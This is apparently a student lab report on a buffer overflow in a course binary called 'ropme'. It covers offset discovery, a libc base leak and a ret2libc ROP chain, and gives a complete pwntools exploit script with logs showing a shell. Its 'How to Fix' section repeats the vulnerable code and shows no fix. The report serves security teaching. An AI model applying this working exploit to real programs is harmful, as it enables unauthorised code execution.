ROPME BUFFER OVERFLOW ATTACK ANALYSIS REPORT

21102033 Daehun Kwon

21102042 Seungwoo Baik

21102054 Sayeon Lim

★ CONTENTS ★

1. VULNERABILITY ANALYSIS

1) Identified Vulnerability

The program contains a stack buffer overflow vulnerability in the `func()` function:

- The vulnerability exists because:
- - The buffer size is only 32 bytes
- - The read function can accept up to 0x200 (512) bytes
- - No bounds checking is performed

```c
void func(){
        char overflowme[32];
        read(0, overflowme, 0x200);
}
```

1. VULNERABILITY ANALYSIS

2) How to Fix

To fix this vulnerability, several approaches could be taken:

1. Use bounded input functions like `fgets()` instead of `read()`
2. Add buffer size checking
3. Enable stack canaries
4. Implement input validation

```c
void func(){
        char overflowme[32];
        read(0, overflowme, 0x200);
}
```

2. FINDING RETURN ADDRESS OFFSET

The offset to the return address was determined through the following stack layout

analysis:

```
daehun@DESKTOP-FNBH1HO:/mnt/c/users/Daehun/desktop/2-2/ComputerSystem/TeamProject2/ROPME_v1.2/ROPME_v1.2$ python3 -c "pr
int('A' * 40 + 'BBCCDDEE')" > payload.txt
```

- Buffer size: 32 bytes
- Saved RBP: 8 bytes
- Return address: 8 bytes
- Total offset: 40 bytes (32 + 8)

```
0x00005555555551bd in func ()
(gdb) info frame
Stack level 0, frame at 0x7fffffffe260:
 rip = 0x5555555551bd in func; saved rip = 0x4545444443434242
 called by frame at 0x7fffffffe268
 Arglist at 0x4141414141414141, args:
 Locals at 0x4141414141414141, Previous frame's sp is 0x7fffffffe260
 Saved registers:
  rbp at 0x7fffffffe250, rip at 0x7fffffffe258
```

This was verified through controlled buffer overflow testing using pattern generation

and crash analysis.

3. FINDING LIBC BASE ADDRESS

The libc base address can be calculated using the leaked setvbuf address:

1. Program provides setvbuf address: `printf("The address of setvbuf : %16p₩n", setvbuf);`

2. Calculate base address: `libc_base = setvbuf_addr - setvbuf_offset`

3. Verification through objdump and runtime analysis confirms the calculation

Calculate libc base

```
libc.address = setvbuf_addr - libc.symbols['setvbuf']
print(f"Calculated libc base: {hex(libc.address)}")
```

```
Leaked setvbuf address: 0x7f6889789ce0
Calculated libc base: 0x7f6889705000
```

4. ROP CHAIN CONSTRUCTION

```python
# Consist Payload
payload = b'A' * 40                  # Buffer Overflow
payload += p64(RET)                 # ret for stack sort
payload += p64(POP_RDI)             # pop rdi ; ret
payload += p64(binsh_addr)          # /bin/sh literal adress
payload += p64(system_addr)         # call system function
payload += p64(POP_RDI)             # pop rdi ; ret
payload += p64(0)                   # exit status
payload += p64(exit_addr)           # call exit for normal
```

1) Gadget Analysis

Required gadgets for the exploit:

- `pop rdi ; ret` at 0x4012a3 (for function argument setup)
- `ret` gadget for stack alignment

2) ROP Chain Workflow

1. Overflow buffer with 40 bytes of padding
2. Use ret gadget for stack alignment
3. Use pop rdi gadget to load /bin/sh string address
4. Call system() with /bin/sh
5. Clean exit using exit()

```
Leaked setvbuf address: 0x7f6889789ce0
Calculated libc base: 0x7f6889705000
System address: 0x7f6889757290
/bin/sh address: 0x7f68898b95bd
Exit address: 0x7f688974ba40
[DEBUG] Sent 0x61 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
    *
    00000020  41 41 41 41  41 41 41 41  a4 12 40 00  00 00 00 00  |AAAA|AAAA|··@·|····|
    00000030  a3 12 40 00  00 00 00 00  bd 95 8b 89  68 7f 00 00  |··@·|····|····|h···|
    00000040  90 72 75 89  68 7f 00 00  a3 12 40 00  00 00 00 00  |·ru·|h···|··@·|····|
    00000050  00 00 00 00  00 00 00 00  40 ba 74 89  68 7f 00 00  |····|····|@·t·|h···|
    00000060  0a                                                  |·|
    00000061
```

5. CLEAN PROGRAM TERMINATION

```python
exit_addr = libc.symbols['exit']
```

The exploit ensures clean program termination by:

1. Properly aligning the stack before system() call

2. Using exit() instead of letting the program crash

3. Maintaining proper stack frame integrity

This approach prevents crashes and ensures the program exits gracefully after shell access is obtained.

6. TESTING AND VERIFICATION (1/2)

```python
from pwn import *

# Load binary and libc
elf = ELF('./ropme')
libc = ELF('./libc.so.6')

# Set for debugging
context.log_level = 'debug'

# Start process
p = process('./ropme')

# Set ROP Gadget
POP_RDI = 0x4012a3
RET = POP_RDI + 1  # ret Gadget usually next to pop rdi

# Receive setvbuf adress
setvbuf_addr = int(p.recvline().split()[-1], 16)
print(f"Leaked setvbuf address: {hex(setvbuf_addr)}")

# Calculate libc base
libc.address = setvbuf_addr - libc.symbols['setvbuf']
print(f"Calculated libc base: {hex(libc.address)}")

# Find needed adresses
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
exit_addr = libc.symbols['exit']

print(f"System address: {hex(system_addr)}")
print(f"/bin/sh address: {hex(binsh_addr)}")
print(f"Exit address: {hex(exit_addr)}")
```

<expl.py>

```python
# Consist Payload
payload = b'A' * 40                # Buffer Overflow
payload += p64(RET)               # ret for stack sort
payload += p64(POP_RDI)           # pop rdi ; ret
payload += p64(binsh_addr)        # /bin/sh literal adress
payload += p64(system_addr)       # call system function
payload += p64(POP_RDI)           # pop rdi ; ret
payload += p64(0)                 # exit status
payload += p64(exit_addr)         # call exit for normal

# Send Payload
p.clean()
p.sendline(payload)

# interactive with Shell
p.interactive()
```

make possible to interact with shell after the end of this process

6. TESTING AND VERIFICATION(2/2)

The exploit was tested in a controlled environment:

1. Initial offset verification
2. Address leak confirmation
3. ROP chain execution testing
4. Shell access verification
5. Clean exit confirmation

All test cases demonstrated successful exploitation while maintaining system stability.

```
CS21102042@nshcdell:~/ROPME_v1.2$ python3 expl.py
[*] '/home/CS21102042/ROPME_v1.2/ropme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/CS21102042/ROPME_v1.2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './ropme' argv=[b'./ropme'] : pid 1057520
[DEBUG] Received 0x2a bytes:
    b'The address of setvbuf :   0x7f618a1aece0\n'
Leaked setvbuf address: 0x7f618a1aece0
Calculated libc base: 0x7f618a12a000
System address: 0x7f618a17c290
/bin/sh address: 0x7f618a2de5bd
Exit address: 0x7f618a170a40
[DEBUG] Sent 0x61 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  a4 12 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000030  a3 12 40 00  00 00 00 00  bd e5 2d 8a  61 7f 00 00  │··@·│····│··-·│a···│
    00000040  90 c2 17 8a  61 7f 00 00  a3 12 40 00  00 00 00 00  │····│a···│··@·│····│
    00000050  00 00 00 00  00 00 00 00  40 0a 17 8a  61 7f 00 00  │····│····│@···│a···│
    00000060  0a                                                  │·│
    00000061
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0xb bytes:
    b'CS21102042\n'
CS21102042
```

Successfully checked the interaction with the shell by using the "whoami" command to verify the user

7. CONCLUSION

The successful exploitation of this vulnerability shows the critical nature of buffer overflow protections. While this was an educational exercise, in real-world applications such vulnerabilities could lead to serious security breaches.

Proper security measures and coding practices are essential to prevent such vulnerabilities.

THANK YOU